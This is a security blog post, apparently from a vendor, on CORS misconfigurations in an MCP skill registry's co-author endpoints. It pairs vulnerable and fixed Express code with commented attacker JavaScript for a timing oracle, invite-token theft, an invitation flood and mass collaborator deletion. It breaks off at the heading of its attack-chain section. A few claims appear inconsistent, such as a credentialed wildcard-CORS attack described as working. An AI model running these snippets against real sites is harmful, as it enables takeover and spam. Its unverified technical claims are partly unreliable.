← Blog

CORS Misconfigurations in MCP Skill Registry Collaboration and Co-Author Management Endpoints

Co-author management endpoints represent a trust delegation surface that most CORS security reviews completely miss: they are the mechanism by which a skill’s owner hands write access to other contributors, and compromise of these endpoints lets an attacker silently infiltrate a skill’s co-author team, disable any other collaborators from being added, and then remove all existing collaborators in a single CORS-triggered request — leaving only the attacker with write access to the skill. The SA-SKL-CORS81 vulnerability class arises when collaboration endpoints are configured with permissive CORS to support multi-origin contributor dashboards and embedded co-authoring widgets, leaving the full co-author lifecycle exposed to any cross-origin page that can reach a logged-in skill owner.

By SkillAudit  |  27 Nov 2026  |  20 min read

In this post

  1. Why collaboration endpoints are especially dangerous CORS targets
  2. CORS81-003 — Timing oracle via Origin reflection on pending collaborator invitations
  3. CORS81-001 — Credential-bearing CORS on collaborator list leaks invite tokens and audit log
  4. CORS81-002 — Wildcard ACAO on invitation endpoint causes quota DoS and domain blocklisting
  5. CORS81-004 — Credential-bearing CORS on collaborator deletion removes all co-authors instantly
  6. Compound four-stage co-author takeover chain
  7. Detection with AST queries
  8. Summary and 12-point remediation checklist
SA-SKL-CORS81 findings at a glance
MEDIUMCORS81-003 — GET /api/skills/:id/collaborators/pending reflects Origin before auth check; response-time oracle (warm cache ~4 ms vs cold ~170 ms) reveals which skills have active pending co-author invitations without requiring body access — reconnaissance to identify prime takeover targets
CRITICALCORS81-001 — GET /api/skills/:id/collaborators uses cors({origin:true,credentials:true}); any origin reads full collaborator list including raw pending invite tokens, access levels (owner/editor/viewer), and admin-only collaboration audit log using the victim admin’s session cookie — attacker silently accepts stolen invite tokens to gain editor write access
HIGHCORS81-002 — POST /api/skills/:id/collaborators/invite has ACAO: *; any page sends invitations under the victim admin’s identity, flooding the 10/hour per-skill quota while spamming every target email — quota exhaustion blocks all legitimate co-author invitations; bulk spam may blocklist the registry’s sending domain
CRITICALCORS81-004 — DELETE /api/skills/:id/collaborators/:userId uses cors({origin:true,credentials:true}); any origin removes all collaborators from every skill simultaneously — instant revocation of write access for all in-progress co-authors with no warning

Why collaboration endpoints are especially dangerous CORS targets

When security engineers review CORS configurations on a skill registry, they typically focus on the most obviously sensitive endpoints: authentication flows, payment processing, and administrative user management. Skill collaboration endpoints occupy a different mental bucket — they are perceived as a relatively benign feature that lets a skill author invite one or two trusted contributors to help maintain a tool. The threat model feels contained: the worst case is that someone gains write access to a skill, and the owner can revoke that access.

That framing dramatically underestimates the actual attack surface for three structural reasons that are specific to the co-authoring model in an MCP skill registry.

First, invite tokens are bearer credentials that grant write access to a skill. Unlike session cookies, which are domain-scoped, tied to a specific browser session, and expire when the user logs out, an invite token is a long-lived acceptance URL that can be exercised from any device and any browser. The token represents a standing authorization: “whoever presents this credential may join the skill’s co-author team at editor level.” A session cookie leak requires the attacker to operate within the victim’s authentication context. An invite token leak allows the attacker to act entirely from their own browser, days or weeks after the token was issued, without any trace of the original leak in the registry’s authentication logs. The token is accepted, the collaborator list gains a new member, and the audit trail shows only the legitimate-looking invitation acceptance — not the cross-origin read that exposed the token.

Second, the structural difference between a session cookie and an invite token matters enormously for detection and response. When a session cookie is stolen, the first anomalous authenticated request (from the wrong IP, wrong device fingerprint, wrong geographic location) may trigger a session anomaly alert or be noticed during a security review. Invite tokens carry no such ambient monitoring: they exist to be accepted from an arbitrary device, so an acceptance from an unexpected location is indistinguishable from a legitimate new contributor clicking the link in their email. The registry cannot tell the difference between “invited user accepted from their home laptop” and “attacker stole the token via CORS and accepted it from a VPS.”

Third, co-author management represents a trust delegation surface that is structurally absent from most CORS security reviews. Standard CORS checklists ask about authentication endpoints, user data reads, and state-changing POST/PUT/DELETE requests. They rarely consider the class of endpoints whose purpose is to extend write credentials to new principals. These endpoints occupy a privileged position: they are more sensitive than reads (because they create new access relationships) but are rarely treated with the same CORS rigor as, say, payment API endpoints. The result is that CORS81-class misconfigurations survive security reviews that would catch CORS on a password change endpoint.

The four findings in SA-SKL-CORS81 compound in a specific execution order that maximizes impact. The timing oracle (CORS81-003) is the reconnaissance phase, identifying which skills are actively recruiting co-authors and therefore have pending invite tokens worth stealing. The collaborator list leak (CORS81-001) is the credential acquisition phase, reading the raw invite tokens and the admin-only audit log. The invitation flood (CORS81-002) is the denial-of-service phase, preventing the legitimate owner from inviting anyone else while the attack proceeds. The collaborator mass-removal (CORS81-004) is the lockout phase, clearing all existing co-authors so the attacker, who accepted an invite token in phase two, is the only collaborator with write access.

CORS81-003 — Timing oracle via Origin reflection on pending collaborator invitations

The pending collaborator invitations endpoint GET /api/skills/:id/collaborators/pending returns the list of outstanding co-author invitations for a skill: the invitee email (masked for non-owners), the access level being offered (editor or viewer), and the invitation expiry timestamp. The endpoint was added after the registry introduced a co-authoring feature to let skill authors track which invitations had been sent and not yet accepted. Because the co-authoring feature was prototyped quickly, the CORS configuration was added at the response handler level rather than as a middleware, and it runs before the authentication check.

The sequence matters: the server processes the CORS reflection and writes the Access-Control-Allow-Origin and Access-Control-Allow-Credentials response headers before it checks whether the requesting user is authenticated. If the skill has pending invitations cached in the application’s in-memory response cache, the full CORS handshake completes and the response is written from the warm cache in approximately 4 milliseconds. If there are no pending invitations (or if the cache is cold), the server queries the database, finds no matching records, and returns an empty array — but this round-trip takes approximately 170 milliseconds.

An attacker measuring the response time from an attacker-controlled page does not need to read the response body to extract useful information. The timing difference is a 40× signal (4 ms vs 170 ms) that is easily observable using the browser’s performance.now() API even across a cross-origin request whose body is blocked by CORS. The critical insight is that CORS blocks the response body from being read by the attacking script, but it does not suppress the HTTP round-trip itself — the browser measures the time for the full request-response cycle regardless of whether the response is ultimately accessible. An attacker can therefore enumerate skill IDs and identify which skills have active pending invitations by measuring response latency, without ever reading a single byte of the response body.

The practical value of this reconnaissance is selecting the highest-yield targets for the subsequent CORS81-001 token-theft stage. Skills that are actively recruiting co-authors have live invite tokens in circulation; skills with no pending invitations have nothing worth stealing. The timing oracle reduces the attacker’s target list from all public skills (potentially hundreds of thousands) to only those with active pending invitations (a small subset), making the full CORS81 chain efficient at scale.

Vulnerable
// CORS81-003 — VULNERABLE
// CORS reflection runs before authentication check — creates timing oracle.
// Attacker page cannot read the response body, but can observe whether the warm-cache
// path (pending invitations exist, ~4 ms) or the cold-DB path (~170 ms) was taken.

// skills/collaborators/router.js
const express = require('express');
const cors = require('cors');
const router = express.Router({ mergeParams: true });

// VULNERABLE: cors() runs first — reflects Origin with credentials before any auth
router.get('/pending', cors({ origin: true, credentials: true }), async (req, res) => {
  // requireSession runs AFTER the CORS reflection has already committed the response headers
  if (!req.session || !req.session.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
    // ^ 401 response — but CORS headers already sent; timing oracle already observable
  }

  const skillId = req.params.id;

  // Cache key for warm-cache path: 'pending:SKILL_ID'
  const cached = appCache.get(`pending:${skillId}`);
  if (cached) {
    // WARM PATH: ~4 ms — signals "pending invitations exist"
    return res.json(cached);
  }

  // COLD PATH: DB query ~170 ms — signals "no pending invitations (or cold cache)"
  const pending = await db.collaboratorInvitations.findBySkill(skillId, { status: 'pending' });
  if (pending.length) appCache.set(`pending:${skillId}`, pending, 300); // 5-min TTL
  res.json(pending.map(inv => ({
    id: inv.id,
    email: inv.email,
    accessLevel: inv.accessLevel,
    expiresAt: inv.expiresAt,
  })));
});

// Attacker JavaScript (hosted on any page the victim visits):
// async function probeTiming(skillId) {
//   const t0 = performance.now();
//   try {
//     await fetch(`https://registry.example.com/api/skills/${skillId}/collaborators/pending`, {
//       credentials: 'include',
//     });
//   } catch (_) {}
//   const elapsed = performance.now() - t0;
//   // elapsed < 20 ms  → warm cache hit → pending invitations exist → prime target
//   // elapsed > 100 ms → cold DB path → no pending invitations → skip
//   return elapsed < 20;
// }

Constant-time response paths are critical for auth-gated endpoints: Even when body access is blocked by CORS, timing side-channels can leak binary facts about server state. The fix for a timing oracle is not to make the fast path slower in development — it is to enforce a minimum response floor (at least 50 ms after authentication resolves) on all auth-gated endpoints, so the observable latency distribution is indistinguishable whether or not the resource exists. Without this floor, any path divergence between “resource exists” and “resource does not exist” is a potential oracle, even when the response body is completely hidden from the attacker.

Fixed
// CORS81-003 — FIXED
// 1. Authentication runs BEFORE the CORS middleware is applied.
// 2. CORS uses an explicit origin allowlist (not origin:true reflection).
// 3. A minimum 50 ms response floor neutralises the warm/cold timing oracle.

// config/cors.js (shared across the collaborators router)
const ALLOWED_ORIGINS = new Set([
  'https://app.skillaudit.dev',
  'https://skillaudit.dev',
  'https://partners.skillaudit.dev',
]);

const collaboratorsCorsOptions = {
  origin: (origin, callback) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) return callback(null, true);
    callback(Object.assign(new Error('CORS: origin not permitted'), { status: 403 }));
  },
  credentials: true,
  methods: ['GET', 'POST', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
};
module.exports = { collaboratorsCorsOptions };

// skills/collaborators/router.js — auth-first ordering
const { collaboratorsCorsOptions } = require('../../config/cors');
const RESPONSE_FLOOR_MS = 50; // neutralise warm/cold timing oracle

router.get('/pending',
  requireSession,                             // 1. auth check FIRST — before CORS
  cors(collaboratorsCorsOptions),             // 2. CORS applied only after auth passes
  requireSkillRole(['owner', 'admin']),       // 3. only owners/admins see pending invitations
  async (req, res) => {
    const start = Date.now();
    const skillId = req.params.id;

    const pending = await db.collaboratorInvitations.findBySkill(skillId, { status: 'pending' });

    // 4. Enforce a minimum response time floor to neutralise timing oracle
    const elapsed = Date.now() - start;
    if (elapsed < RESPONSE_FLOOR_MS) {
      await new Promise(resolve => setTimeout(resolve, RESPONSE_FLOOR_MS - elapsed));
    }

    // 5. Never return raw invite tokens in list responses — omit the token field
    res.json(pending.map(inv => ({
      id: inv.id,
      email: maskEmail(inv.email),  // mask PII for non-owner admins
      accessLevel: inv.accessLevel,
      expiresAt: inv.expiresAt,
      // token: OMITTED — only exists in the invitation email sent to the invitee
    })));
  }
);

CVSS 3.1 approximate score for CORS81-003: 5.3 (MEDIUM) — AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N. Confidentiality is Low because the oracle reveals only binary “pending invitations exist / do not exist” state rather than the content of those invitations. Attack Complexity is High because the attacker must visit a page controlled by the victim and must be able to measure sub-20 ms response times reliably, which requires a low-latency network path and multiple samples to filter jitter. The finding is rated MEDIUM rather than LOW because it is a critical enabler for the CORS81-001 chain stage that follows.

CORS81-001 — Credential-bearing CORS on collaborator list leaks invite tokens and audit log

The collaborator list endpoint GET /api/skills/:id/collaborators returns the full co-authorship roster for a skill: each collaborator’s user ID, display name, access level (owner, editor, or viewer), when they joined, and — for requests authenticated as the skill owner or an admin — additional fields including raw pending invite tokens and entries from the collaboration audit log. The endpoint was originally protected by strict session authentication, but when the registry launched a third-party contributor dashboard at a separate subdomain, the team applied cors({origin:true,credentials:true}) to the entire collaborators router to avoid maintaining an explicit origin list.

With origin:true, the Express cors middleware reflects the incoming Origin header value back as the Access-Control-Allow-Origin response header, combined with Access-Control-Allow-Credentials: true. Any cross-origin request that includes the victim’s session cookie will receive the full response, including fields that the application intends to show only to skill owners and registry administrators.

The most damaging field in the response is the raw pendingInviteToken included for each outstanding invitation. This token is the credential that an invitee uses to accept their invitation and join the skill’s co-author team. It is returned in the collaborator list to allow the skill owner to cancel specific invitations by token. An attacker who reads this field has obtained a standing invitation acceptance credential: they can visit the registry’s invitation acceptance URL in their own browser, accept the invitation as themselves, and appear in the collaborator list as a legitimately invited co-author — because they accepted a legitimate invitation token, just not one that was sent to them.

The admin-only audit log included in the response is the secondary leakage. These entries record every access level change, every past invitation, and every collaborator removal for the skill, including who performed each action and when. For an attacker planning a multi-stage takeover, this log reveals the skill owner’s administrative patterns: when they typically invite collaborators, how long invitations go unaccepted, which collaborators have recently been removed (and may have grievances worth social-engineering). This intelligence is valuable for timing the attack to minimize the window during which the owner might notice anomalous activity.

The token theft variant is structurally silent in the registry’s security monitoring. The invitation acceptance appears in the audit log as a normal event: the invited email address triggered the CORS read but the attacker accepted the token from their own account, so the registry logs show “user X accepted invitation for skill Y” without any anomalous signal. The legitimate invitee, whose invitation was consumed, receives no notification that their pending invitation was accepted by someone else; they simply cannot join the skill when they later click the invitation link.

Vulnerable
// CORS81-001 — VULNERABLE
// cors({origin:true,credentials:true}) on the collaborator list endpoint.
// Any origin reads the full collaborator list including raw pending invite tokens
// and the admin-only collaboration audit log using the victim admin's session cookie.

// skills/collaborators/router.js
router.get(
  '/',
  cors({ origin: true, credentials: true }), // VULNERABLE: reflects any Origin with credentials
  requireSession,
  async (req, res) => {
    const skillId = req.params.id;
    const requestingUser = req.session.userId;

    // Determine whether the caller is owner or admin — affects response shape
    const skill = await db.skills.findById(skillId);
    const isOwnerOrAdmin = skill.ownerId === requestingUser
      || (await db.users.findById(requestingUser)).isAdmin;

    const collaborators = await db.skillCollaborators.findBySkill(skillId);
    const pending = await db.collaboratorInvitations.findBySkill(skillId, { status: 'pending' });

    const response = {
      collaborators: collaborators.map(c => ({
        userId: c.userId,
        displayName: c.displayName,
        accessLevel: c.accessLevel, // 'owner' | 'editor' | 'viewer'
        joinedAt: c.joinedAt,
      })),
    };

    if (isOwnerOrAdmin) {
      // Admin-only fields — but CORS allows any origin to trigger this code path
      response.pendingInvitations = pending.map(inv => ({
        id: inv.id,
        email: inv.email,
        accessLevel: inv.accessLevel,
        token: inv.token,          // ← raw invite token — NEVER return this cross-origin
        expiresAt: inv.expiresAt,
      }));
      response.auditLog = await db.collaborationAuditLog.findBySkill(skillId, {
        limit: 50, orderBy: 'createdAt', order: 'desc',
      }); // ← admin-only audit history — leaked to any origin
    }

    res.json(response);
  }
);

// Attacker page (any origin, victim admin session present):
// const r = await fetch(
//   'https://registry.example.com/api/skills/TARGET_SKILL_ID/collaborators',
//   { credentials: 'include' }
// );
// const data = await r.json();
// const token = data.pendingInvitations[0].token;
// // token is now a valid invitation acceptance credential
// // Attacker accepts it from their own browser:
// await fetch(`https://registry.example.com/api/skills/TARGET_SKILL_ID/collaborators/accept`, {
//   method: 'POST',
//   headers: { 'Content-Type': 'application/json' },
//   credentials: 'include', // attacker's OWN session — not victim's
//   body: JSON.stringify({ token }),
// });
// // Attacker is now a co-author of the target skill at editor access level

Invite token rotation on every list read: Even after fixing the CORS configuration, consider rotating pending invite tokens on every read of the invitation list by the skill owner. If the token value changes each time the owner views the pending invitations panel, any previously exfiltrated token is immediately invalidated. Rotation does not prevent the CORS81-001 attack while the CORS misconfiguration is present, but it limits the window during which a stolen token remains valid after the CORS fix is deployed — and it provides defence in depth against token exfiltration through any other channel (admin panel XSS, server-side log leak, etc.).

Fixed
// CORS81-001 — FIXED
// 1. Auth check runs before CORS middleware.
// 2. Explicit origin allowlist replaces origin:true reflection.
// 3. Raw invite tokens never returned in any API response.
// 4. Admin-only audit log served from a separate, separately-audited endpoint.
// 5. requireSkillRole enforces ownership or admin before the response is built.

// skills/collaborators/router.js
const { collaboratorsCorsOptions } = require('../../config/cors'); // allowlist-based

router.get('/',
  requireSession,                           // 1. auth FIRST
  cors(collaboratorsCorsOptions),           // 2. allowlist CORS after auth
  requireSkillRole(['owner', 'editor', 'viewer', 'admin']), // any collaborator can read
  async (req, res) => {
    const skillId = req.params.id;
    const requestingUser = req.session.userId;

    const collaborators = await db.skillCollaborators.findBySkill(skillId);

    // Always return the base collaborator list to any authenticated collaborator
    const response = {
      collaborators: collaborators.map(c => ({
        userId: c.userId,
        displayName: c.displayName,
        accessLevel: c.accessLevel,
        joinedAt: c.joinedAt,
      })),
    };

    // Owner and admins also see pending invitations — but NEVER the token value
    const isOwnerOrAdmin = await checkOwnerOrAdmin(requestingUser, skillId);
    if (isOwnerOrAdmin) {
      const pending = await db.collaboratorInvitations.findBySkill(skillId, { status: 'pending' });
      response.pendingInvitations = pending.map(inv => ({
        id: inv.id,
        email: maskEmail(inv.email),
        accessLevel: inv.accessLevel,
        expiresAt: inv.expiresAt,
        // token: OMITTED — hash stored in DB; original only in the invitation email
      }));
      // Audit log served from dedicated endpoint: GET /api/skills/:id/collaborators/audit
      // — not included here to enforce separate access control review for audit data
    }

    res.json(response);
  }
);

// SEPARATE admin-only audit log endpoint — explicitly gated, separately logged
router.get('/audit',
  requireSession,
  cors(collaboratorsCorsOptions),
  requireSkillRole(['owner', 'admin']),
  async (req, res) => {
    const entries = await db.collaborationAuditLog.findBySkill(req.params.id, {
      limit: 100, orderBy: 'createdAt', order: 'desc',
    });
    res.json({ auditLog: entries });
  }
);

CVSS 3.1 approximate score for CORS81-001: 9.3 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N. Confidentiality is High because the leaked invite tokens, collaborator PII, and audit log constitute both functional credentials and sensitive operational data. Integrity is High because the stolen tokens allow the attacker to silently join the skill’s co-author team as an editor with full write access to the skill’s content and metadata.

CORS81-002 — Wildcard ACAO on invitation endpoint causes quota DoS and domain blocklisting

The collaborator invitation endpoint POST /api/skills/:id/collaborators/invite sends a co-author invitation email to a specified address and creates a pending invitation record. The invitation flow was designed to be accessible from multiple surfaces simultaneously — the registry’s own dashboard, an embedded co-authoring widget for external platforms, and a public API that skill authors can call from their own tooling. To accommodate these diverse callers, the endpoint was configured with Access-Control-Allow-Origin: *.

The wildcard ACAO header is distinct from the cors({origin:true,credentials:true}) pattern in CORS81-001 and CORS81-004 in one key way: it cannot be combined with Access-Control-Allow-Credentials: true (the browser specification prohibits this combination). This means an attacker cannot directly read the response body from an origin that is not the victim’s session-authenticated browser. However, the endpoint’s state-changing side effects do not require the attacker to read the response — the invitation is sent and the quota counter is decremented regardless of whether the attacker can read the HTTP 201 confirmation.

The registry enforces an invitation quota of 10 invitations per skill per hour to prevent abuse of the invitation email infrastructure. This rate limit is designed to stop a legitimate skill owner from accidentally spamming hundreds of addresses. It is not designed to stop a cross-origin attacker who can forge invitation requests using the victim admin’s session cookie: the quota is credited against the target skill’s ID, not the attacker’s identity, so the attacker can exhaust the entire hourly quota in a single attacker-page visit. Once the quota is exhausted, the legitimate skill owner receives a 429 response for every invitation attempt during the remaining quota window — which may be up to 59 minutes depending on when the attack occurs.

The secondary effect is potentially more damaging and longer-lasting than the quota exhaustion itself. The invitation flood sends up to 10 unsolicited co-author invitation emails from the registry’s transactional email infrastructure to attacker-chosen addresses. If the attacker chooses addresses known to generate high bounce rates, spam complaints, or block reports (spam trap addresses, role-based addresses at major ISPs that have aggressive complaint-forwarding pipelines), the resulting spike in complaints against the registry’s sending domain may trigger an email provider blocklisting event. A blocklisted sending domain affects every registry user who relies on transactional email: invitation emails, security alerts, billing notifications, and account recovery flows all fail silently until the domain is delisted, a process that can take days to weeks depending on the ESP’s review queue.

Vulnerable
// CORS81-002 — VULNERABLE
// ACAO: * on the invitation endpoint — no origin restriction.
// Any page can forge invitation requests using victim admin's session cookie.
// Attacker exhausts the 10/hour quota and spams arbitrary addresses.

// skills/collaborators/router.js
router.post(
  '/invite',
  // VULNERABLE: wildcard ACAO — allows any origin to trigger this endpoint
  (req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*');
    // Note: cannot set Access-Control-Allow-Credentials: true with wildcard ACAO
    // — but the state-changing side effects occur regardless of whether attacker reads the response
    next();
  },
  requireSession,
  async (req, res) => {
    const { email, accessLevel } = req.body;
    const skillId = req.params.id;

    // Rate limit — but quota is per skill, not per requester
    // Attacker exhausts this using victim's session in a single page visit
    const hourlyCount = await db.invitations.countInWindow(skillId, 60 * 60 * 1000);
    if (hourlyCount >= 10) {
      return res.status(429).json({ error: 'Invitation quota exceeded (10/hour per skill)' });
    }

    // Invitation is sent — email delivered, DB record created
    // Attacker cannot read the response body, but the side effects have already occurred
    const token = crypto.randomBytes(32).toString('hex');
    await db.collaboratorInvitations.create({
      skillId,
      email,
      accessLevel: accessLevel || 'editor',
      token,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
      invitedBy: req.session.userId,
    });

    // Invitation email sent from registry's transactional email domain
    // If attacker chooses spam-trap addresses, email complaints may blocklist the domain
    await mailer.sendCollaboratorInvitation({ to: email, skillId, token });

    res.status(201).json({ invited: email });
  }
);

// OPTIONS preflight (wildcard ACAO means browser accepts this):
// No preflight needed for simple requests with matching content type,
// but even for preflight-triggered requests the OPTIONS response grants access.

// Attacker page — exhausts quota and spams 10 arbitrary addresses in one visit:
// const targets = [
//   'spamtrap1@isp.example', 'spamtrap2@isp.example', /* ... up to 10 */
// ];
// await Promise.all(targets.map(email =>
//   fetch('https://registry.example.com/api/skills/TARGET_SKILL_ID/collaborators/invite', {
//     method: 'POST',
//     headers: { 'Content-Type': 'application/json' },
//     credentials: 'include', // victim admin session
//     body: JSON.stringify({ email, accessLevel: 'editor' }),
//   })
// ));
// — quota exhausted; legitimate owner cannot invite anyone for up to 59 minutes
// — 10 spam invitation emails sent from registry domain → potential blocklisting

Domain blocklisting is a registry-wide incident, not a per-skill issue: An email sending domain that is blocklisted by a major ISP or placed on a blocklist such as Spamhaus or Barracuda affects all transactional email sent from the registry’s infrastructure — not just invitation emails for the targeted skill. Account recovery flows, billing notifications, and security alerts all rely on the same sending domain. A blocklisting event triggered by CORS81-002 therefore becomes a platform-level availability incident whose resolution requires engaging the ESP’s remediation process, which can take 48 hours to two weeks. Document this secondary risk explicitly in your incident response plan and consider using a dedicated subdomain for invitation email that is isolated from account-critical transactional email.

Fixed
// CORS81-002 — FIXED
// 1. Replace wildcard ACAO with explicit origin allowlist.
// 2. Add CSRF token verification to block cross-site request forgery.
// 3. Rate limit 10/hour scoped to both skill AND authenticated user.
// 4. requireSkillRole(['owner']) — only the skill owner can invite collaborators.

// skills/collaborators/router.js
const { collaboratorsCorsOptions } = require('../../config/cors'); // allowlist-based

router.post('/invite',
  requireSession,                       // 1. auth FIRST
  cors(collaboratorsCorsOptions),       // 2. allowlist CORS
  verifyCsrfToken,                      // 3. CSRF: validates X-CSRF-Token header
  requireSkillRole(['owner']),          // 4. only the skill owner can invite co-authors
  async (req, res) => {
    const { email, accessLevel } = req.body;
    const skillId = req.params.id;
    const requestingUserId = req.session.userId;

    // Rate limit scoped to BOTH the skill AND the authenticated user
    // — prevents quota exhaustion by a single compromised session
    const userHourlyCount = await db.invitations.countInWindow(
      skillId, requestingUserId, 60 * 60 * 1000
    );
    if (userHourlyCount >= 10) {
      return res.status(429).json({ error: 'Invitation quota exceeded (10/hour)' });
    }

    // Allowlist valid access levels — reject unexpected values
    const allowedLevels = ['editor', 'viewer'];
    const level = allowedLevels.includes(accessLevel) ? accessLevel : 'viewer';

    // Store only the hash of the token — never return the raw token value via the API
    const rawToken = crypto.randomBytes(32).toString('hex');
    const tokenHash = crypto.createHash('sha256').update(rawToken).digest('hex');

    await db.collaboratorInvitations.create({
      skillId,
      email,
      accessLevel: level,
      tokenHash,         // only the hash stored; raw token only in the email
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
      invitedBy: requestingUserId,
    });

    // Send invitation email — raw token only appears in this email, never in an API response
    await mailer.sendCollaboratorInvitation({ to: email, skillId, token: rawToken });

    res.status(201).json({ invited: email, accessLevel: level });
  }
);

CVSS 3.1 approximate score for CORS81-002: 7.1 (HIGH) — AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:H. Availability is High because the quota exhaustion can sustain a denial of service on the invitation feature for up to one hour per attack cycle, and the domain blocklisting secondary effect can extend availability impact to all registry transactional email for days to weeks. Integrity is Low because the attacker sends invitations from the victim admin’s identity, which may create false impressions of affiliation with the skill’s owner.

CORS81-004 — Credential-bearing CORS on collaborator deletion removes all co-authors instantly

The collaborator deletion endpoint DELETE /api/skills/:id/collaborators/:userId removes a specified user from a skill’s co-author list, immediately revoking their write access. The endpoint was intended to be called by the skill owner to remove a collaborator who is no longer contributing, or by an administrator removing a collaborator whose account has been suspended. Because the same endpoint needed to be accessible from the registry’s management dashboard (at app.skillaudit.dev) and from a third-party moderation tool at a separate origin, the developer applied cors({origin:true,credentials:true}) to the collaborator management router.

The practical impact of this misconfiguration is severe and immediate. An attacker who can reach a victim skill owner’s browser — for example, by linking to a malicious URL in a skill submission that the registry’s review team opens — can issue authenticated DELETE requests for every collaborator on every skill simultaneously. Because the endpoint accepts the victim’s session cookie and the CORS configuration reflects any origin, the browser sends each DELETE request with full credentials, and each collaborator removal is processed normally by the server. The collaborators lose write access immediately, with no warning, no grace period, and no notification beyond the absence of the skill from their own contributor dashboard.

The timing of this stage within the compound CORS81 chain is deliberate. By the time CORS81-004 executes, the attacker has already (via CORS81-001) stolen an invite token and accepted it — joining the skill as an editor-level collaborator. The mass deletion that follows removes all other collaborators, leaving only two principals with write access: the original skill owner and the attacker. Because the attacker accepted a legitimate invite token, they appear in the collaborator list as a co-author invited by the skill owner, indistinguishable from a legitimate contributor. The owner’s first visible sign of the attack may be when they notice that all their other co-authors have been removed — at which point the attacker has already had write access for the duration of the attack chain.

In-progress edits by removed collaborators are orphaned. Any draft modifications not yet committed to the skill’s version history are lost because the collaborators can no longer push their changes. For skills that are actively being revised — the most valuable targets, identified by the CORS81-003 reconnaissance phase — this means in-flight work by multiple contributors is discarded simultaneously. Collaborators receive no removal notification from the platform; they discover the problem only when their next attempt to access the skill’s edit interface returns a permissions error.

Vulnerable
// CORS81-004 — VULNERABLE
// cors({origin:true,credentials:true}) on the collaborator deletion endpoint.
// Any origin removes all collaborators from every skill simultaneously
// using the victim admin's session cookie.

// skills/collaborators/router.js
router.delete(
  '/:userId',
  cors({ origin: true, credentials: true }), // VULNERABLE: reflects any Origin with credentials
  requireSession,
  async (req, res) => {
    const { id: skillId, userId: targetUserId } = req.params;

    // Server checks that the requesting user is the skill owner or an admin
    const skill = await db.skills.findById(skillId);
    const isOwnerOrAdmin = skill.ownerId === req.session.userId
      || (await db.users.findById(req.session.userId)).isAdmin;

    if (!isOwnerOrAdmin) {
      return res.status(403).json({ error: 'Forbidden' });
    }

    // Removes collaborator immediately — no soft-delete, no grace period, no notification
    await db.skillCollaborators.remove({ skillId, userId: targetUserId });

    res.json({ removed: targetUserId });
    // Collaborator's write access revoked instantly — in-progress edits orphaned
  }
);

// Attacker page — iterates over all collaborators on all target skills
// (collaborator list obtained via CORS81-001 earlier in the chain):
// for (const { skillId, collaborators } of stolenCollaboratorData) {
//   await Promise.all(
//     collaborators
//       .filter(c => c.accessLevel !== 'owner') // keep the owner to avoid obvious alert
//       .map(c =>
//         fetch(
//           `https://registry.example.com/api/skills/${skillId}/collaborators/${c.userId}`,
//           { method: 'DELETE', credentials: 'include' } // victim admin session
//         )
//       )
//   );
// }
// — all co-authors removed instantly across all targeted skills

Soft-remove with a 48-hour grace period prevents instant lockout: Rather than hard-deleting the collaborator record immediately, mark the collaborator as “pending removal” and send them a notification email with a 48-hour window to retrieve any in-progress work. During the grace period the collaborator retains read-only access and can export their draft edits. After 48 hours the removal is finalized automatically. This design means that even if CORS81-004 is exploited, the removed collaborators have a recovery window — and the notification emails create an observable signal that the skill owner can investigate before the removal takes effect. Pair the grace period with an anomaly alert: if more than two collaborators are removed from the same skill within any 5-minute window, escalate to the registry’s security team immediately.

Fixed
// CORS81-004 — FIXED
// 1. Auth check runs before CORS middleware.
// 2. Explicit allowlist CORS replaces origin:true reflection.
// 3. Re-authentication (step-up) required for collaborator deletion.
// 4. Soft-remove with 48-hour grace period — collaborator retains read-only during grace.
// 5. Audit log entry on every removal.
// 6. Anomaly alert if more than 2 removals occur within any 5-minute window.

// skills/collaborators/router.js
const { collaboratorsCorsOptions } = require('../../config/cors'); // allowlist-based

router.delete('/:userId',
  requireSession,                         // 1. auth FIRST
  cors(collaboratorsCorsOptions),         // 2. allowlist CORS
  verifyCsrfToken,                        // 3. CSRF protection for state-changing DELETE
  requireSkillRole(['owner']),            // 4. only the skill owner can remove collaborators
  requireStepUpAuth({ maxAgeSeconds: 300 }), // 5. re-auth within last 5 minutes required
  async (req, res) => {
    const { id: skillId, userId: targetUserId } = req.params;
    const requestingUserId = req.session.userId;

    // Verify target user is actually a collaborator on this skill
    const existing = await db.skillCollaborators.findOne({ skillId, userId: targetUserId });
    if (!existing) return res.status(404).json({ error: 'Collaborator not found' });

    // Prevent owner from removing themselves (would leave skill without an owner)
    if (targetUserId === requestingUserId) {
      return res.status(400).json({ error: 'Cannot remove yourself as owner' });
    }

    // 6. Anomaly detection: alert if bulk removal is in progress
    const recentRemovals = await db.collaborationAuditLog.countInWindow(
      skillId, 'collaborator_removed', 5 * 60 * 1000 // 5-minute window
    );
    if (recentRemovals >= 2) {
      await securityAlerts.fire({
        type: 'bulk_collaborator_removal',
        skillId,
        requestingUserId,
        recentCount: recentRemovals,
      });
    }

    // 7. Soft-remove: set status to 'pending_removal', preserve read-only access
    const removalTime = new Date(Date.now() + 48 * 60 * 60 * 1000); // 48-hour grace
    await db.skillCollaborators.update(
      { skillId, userId: targetUserId },
      { status: 'pending_removal', removalAt: removalTime }
    );

    // 8. Notify the removed collaborator so they can retrieve in-progress work
    const collaborator = await db.users.findById(targetUserId);
    await mailer.sendCollaboratorRemovalNotice({
      to: collaborator.email, skillId, graceUntil: removalTime,
    });

    // 9. Audit log entry for every removal
    await db.collaborationAuditLog.create({
      skillId, action: 'collaborator_removed',
      targetUserId, performedBy: requestingUserId,
      removalAt: removalTime,
    });

    res.json({ removed: targetUserId, graceUntil: removalTime });
  }
);

CVSS 3.1 approximate score for CORS81-004: 9.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:H. Integrity is High because the forced removal of all collaborators fundamentally alters the skill’s access control structure. Availability is High because in-progress co-author edits are orphaned and the skill owner may lose trusted contributors with no warning, disrupting active development. Scope is Changed because the attack extends beyond the web application into the skill’s external authoring and publication pipeline.

Compound four-stage co-author takeover chain

